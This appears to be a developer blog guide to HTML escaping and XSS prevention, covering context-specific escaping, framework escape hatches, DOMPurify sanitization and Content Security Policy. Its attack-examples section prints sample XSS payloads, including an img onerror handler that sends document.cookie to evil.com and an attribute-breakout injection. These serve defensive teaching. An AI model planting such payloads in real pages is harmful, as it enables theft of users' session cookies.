CodeCraft
← Back to Blog
Security2026-04-23·10 min read

HTML Escaping and XSS Prevention: A Developer's Security Guide

#html#xss#security#escaping#web-security
C
CodeCraft Team· Engineering

Cross-Site Scripting (XSS) is consistently ranked in the OWASP Top 10 most critical web application security vulnerabilities. At the heart of XSS prevention is a deceptively simple concept: HTML escaping. When user-generated content is displayed in a web page, any HTML characters in that content must be converted to their safe text-only equivalents — otherwise, an attacker can inject script tags, steal session cookies, redirect users, or completely take over a web application.

This guide explains HTML character escaping in depth, the difference between escaping for HTML, HTML attributes, JavaScript, and URLs, and how modern frameworks handle (and sometimes mishandle) this automatically.

The Five Characters That Break HTML

HTML has special meaning for five specific characters. When any of them appear in user-provided content that gets inserted into HTML, the browser may interpret them as HTML code rather than as text:

| Character | HTML Entity | Named Entity | Why it's dangerous |

|-----------|-------------|--------------|-------------------|

| < | &#60; | &lt; | Opens HTML tags — can start <script> |

| > | &#62; | &gt; | Closes HTML tags |

| & | &#38; | &amp; | Starts HTML entities — can encode other attacks |

| " | &#34; | &quot; | Closes attribute values in double quotes |

| ' | &#39; | &apos; | Closes attribute values in single quotes |

Minimal escaping for HTML body content (between tags):

Escape <, >, and & at minimum.

Full escaping for HTML attributes:

Also escape " and ' to prevent breaking out of attribute values.

XSS Attack Examples

Understanding attack vectors makes the importance of escaping concrete.

Reflected XSS in a search page:

<!-- Server renders: "You searched for: " + userInput -->
<!-- If userInput = <script>document.cookie</script> -->
You searched for: <script>document.cookie</script>
<!-- The browser executes the script! -->

Stored XSS in a comment system:

<!-- Attacker submits a comment containing: -->
Nice article! <img src=x onerror="fetch('https://evil.com?c='+document.cookie)">

<!-- When rendered for other users, their cookies are stolen -->

DOM XSS via innerHTML:

// DANGEROUS — never use innerHTML with user data:
document.getElementById('output').innerHTML = userInput;

// If userInput = '<img src=x onerror=alert(1)>'
// The browser runs alert(1)

Attribute injection:

<!-- Server renders: <input value=" + userInput + "> -->
<!-- If userInput = " onmouseover="alert(1)" dummy=" -->
<input value="" onmouseover="alert(1)" dummy="">
<!-- Moving the mouse over the input fires the attack -->

Correct Escaping in Different Contexts

Escaping rules differ depending on where the content is inserted. Using the wrong escaping for the context is as dangerous as not escaping at all.

HTML body context (between tags):

function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}
// Safe to use in: <div>{{userContent}}</div>

HTML attribute context (inside tag attributes):

All five characters must be escaped. The value should be quoted:

<!-- Safe: -->
<input value="{{escapeHtml(userInput)}}">
<a href="/search?q={{escapeHtml(query)}}">

<!-- Dangerous even with escaping — href can be javascript: -->
<a href="{{userProvidedUrl}}">   

JavaScript string context (inside <script> tags):

HTML escaping is NOT sufficient here. Use JSON encoding:

// On server (Node.js):
const safeData = JSON.stringify(userInput); // proper JSON encoding
// In template:
<script>const data = {{safeData}};</script>

URL context:

Use encodeURIComponent() for URL components, not HTML escaping:

const url = '/search?q=' + encodeURIComponent(userQuery);

HTML Entities: Named vs Numeric

HTML entities can be expressed in three ways:

Named entities (most readable):

&amp;    → &
&lt;     → <
&gt;     → >
&quot;   → "
&apos;   → ' (HTML5 only, prefer &#39; for older browsers)
&nbsp;   → non-breaking space
&copy;   → ©
&reg;    → ®
&trade;  → ™
&mdash;  → — (em dash)
&ndash;  → – (en dash)
&hellip; → …
&euro;   → €

Decimal numeric entities (universal):

&#60;   → < (decimal 60 = ASCII code for <)
&#34;   → "
&#39;   → '
&#8364; → €

Hexadecimal numeric entities:

&#x3C;  → < (0x3C = 60 decimal)
&#x22;  → "
&#x27;  → '
&#x20AC; → €

Numeric entities are useful for characters with no named equivalent or for systems that can only check numeric encoding. However, all three formats are equivalent in HTML5-compliant browsers.

Framework Auto-Escaping: Trust But Verify

Modern frameworks auto-escape by default, but they all have escape hatches that can reintroduce XSS vulnerabilities.

React:

// SAFE — React auto-escapes JSX expressions:
function UserName({ name }) {
  return <div>{name}</div>; // name is automatically escaped
}

// DANGEROUS — dangerouslySetInnerHTML bypasses escaping:
function UserBio({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
  // Only use this with DOMPurify-sanitized HTML!
}

Vue:

<!-- SAFE — double mustaches auto-escape: -->
<p>{{ userInput }}</p>

<!-- DANGEROUS — v-html renders raw HTML: -->
<p v-html="userInput"></p>  <!-- Only with sanitized input! -->

Angular:

<!-- SAFE — Angular auto-escapes interpolation: -->
<p>{{ userInput }}</p>

<!-- DANGEROUS — [innerHTML] binds raw HTML: -->
<p [innerHTML]="userInput"></p>  <!-- Use DomSanitizer first! -->

Server-side templates (Jinja2/Django):

# SAFE — Jinja2 auto-escapes in HTML mode:
{{ user_input }}

# DANGEROUS — |safe filter disables escaping:
{{ user_input | safe }}  # Only when truly safe (developer-controlled content)

Sanitizing HTML: Allowing Rich Content Safely

Sometimes you legitimately need to allow HTML in user content — for example, a WYSIWYG editor where users can bold text, add links, or insert images. In this case, you need HTML sanitization, not just escaping.

DOMPurify is the gold standard for client-side HTML sanitization:

import DOMPurify from 'dompurify';

// Sanitize with default settings (removes scripts, event handlers):
const clean = DOMPurify.sanitize(dirtyHtml);

// Allow only specific tags:
const clean = DOMPurify.sanitize(dirtyHtml, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li'],
  ALLOWED_ATTR: ['href', 'target']
});

// Sanitize before using with dangerouslySetInnerHTML:
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(content) }} />

Server-side sanitization libraries:

- Python: bleach, html-sanitizer

- Node.js: sanitize-html, DOMPurify (with jsdom)

- Java: OWASP HTML Sanitizer, jsoup

- PHP: HTMLPurifier

Content Security Policy (CSP) as defense-in-depth:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

A strict CSP prevents inline scripts from executing even if XSS slips through, making it the most powerful tool for mitigating XSS impact.

Common Mistakes and Edge Cases

Forgetting to escape in template literals:

// DANGEROUS:
document.body.innerHTML = `<p>Hello ${userName}</p>`;

// SAFE:
document.body.innerHTML = `<p>Hello ${escapeHtml(userName)}</p>`;

Double-escaping: If you escape once and then display the result in a context that escapes again, & becomes &amp;amp; and displays as &amp;:

// Wrong — escaping already-escaped HTML:
const alreadyEscaped = '&lt;b&gt;bold&lt;/b&gt;';
escapeHtml(alreadyEscaped); // → "&amp;lt;b&amp;gt;bold&amp;lt;/b&amp;gt;"

href= and javascript: URLs: HTML-escaping a URL doesn't prevent javascript: scheme:

<!-- Even escaped, this is dangerous if href = "javascript:alert(1)" -->
<a href="{{userUrl}}">click</a>

<!-- Validate the URL scheme before rendering: -->
function isSafeUrl(url) {
  try {
    const u = new URL(url);
    return u.protocol === 'https:' || u.protocol === 'http:';
  } catch { return false; }
}

CSS injection: Sanitize CSS values too — expression() in old IE CSS could execute JavaScript. Always validate color values with regex rather than rendering them directly.

HTML escaping is the first line of defense against XSS — one of the most common and dangerous web vulnerabilities. Modern frameworks help by auto-escaping, but developers must remain vigilant about escape hatches like `innerHTML`, `dangerouslySetInnerHTML`, and `v-html`. Pair escaping with a strict Content Security Policy for defense in depth. Use our free HTML Escape tool to instantly encode or decode HTML entities — convert your text to safe HTML or decode &amp; &lt; &gt; entities back to raw characters, all within your browser.